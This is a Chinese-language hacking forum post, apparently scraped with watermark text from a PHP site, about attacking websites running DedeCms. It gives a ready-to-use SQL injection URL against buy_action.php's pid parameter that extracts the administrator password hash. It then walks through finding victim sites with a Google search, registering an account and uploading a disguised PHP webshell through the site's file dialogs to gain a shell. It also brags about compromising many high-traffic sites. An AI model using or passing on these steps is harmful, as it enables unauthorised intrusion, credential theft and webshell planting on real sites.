注释:先注册..输入地址后。要等一会刷新就可以看到密码了 作者不知道是谁 phperz~com
问题出现在buy_action.php 没有对pid传递进行足够的重视 导致出现SQL注射问题! 注册地址 phperz~com
/member/index_do.php?fmdo=user&dopost=regnew 爆管理员密码 /member/buy_action.php?product=member&pid=1%20and%201=11%20union%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/* www.phperz.com
phperz.com
用很大。 如果你找不到可以利用的 那就是自己RP问题 反正 我们是找到很多了,而且是流量比较大的站,很不错的站。 www~phperz~com
更正一下: LZ发的代码因为这个.NET版本的论坛有问题所以没显示全 全部代码是: 暴管理员密码: www~phperz~com
CODE: /member/buy_action.php?product=member&pid=1%20and%201=11%20union %20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/* www.phperz.com
www.phperz.com
首先在 www.phperz.com
GOOGLE搜Power by DedeCms phperz.com
先注册一个号,注册成功后 直接输入下面的 include/dialoguser/select_soft.php或者 include/dialoguser/select_media.php phperz.com
然后上传一个PHP马, 先要改下后缀,改可以上传的就可以了,然后再改名的地址输入 木马名字.PHP phperz~com
上传成功 直接访问 http://所在目录的路径/木马名字.php php程序员站
一个SHELL就拿到了。 www~phperz~com
|